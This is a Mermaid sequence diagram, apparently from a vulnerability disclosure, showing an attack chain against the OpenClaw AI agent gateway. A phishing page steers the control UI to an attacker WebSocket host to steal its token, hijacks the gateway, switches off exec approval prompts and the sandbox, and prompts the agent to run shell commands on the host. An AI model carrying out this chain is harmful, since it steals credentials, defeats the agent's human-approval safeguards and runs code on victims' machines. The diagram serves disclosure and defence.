sequenceDiagram
    autonumber
    actor Attacker
    participant Browser as Victim Browser<br/>(meeting.html)
    participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
    participant AtkWS  as Attacker WS Server<br/>(:8080)
    participant GW     as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
    participant LLM    as Cloud LLM<br/>(OpenAI / Anthropic)

    Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)

    Note over Browser: Phase 1 — Token Theft

    Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
    Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway

    CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
    AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)

    CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
    AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
    AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }

    Note over Browser: Phase 2 — Gateway Hijack (CSWSH)

    Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
    GW-->>Browser: ✓ Authenticated as operator

    Note over Browser: Phase 3 — Security Bypass

    Browser->>GW: exec.approvals.set { ask: "off" }
    GW-->>Browser: ✓ Approval prompts disabled

    Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
    GW-->>Browser: ✓ Sandbox disabled, exec on host

    Note over Browser: Phase 4 — Remote Code Execution

    Browser->>GW: agent { message: "Execute shell command: COMMAND" }
    GW->>LLM: Forward prompt (security already stripped)
    LLM-->>GW: Tool call: exec("COMMAND")
    GW->>GW: Runs command on HOST filesystem
    GW-->>Browser: ✓ Command executed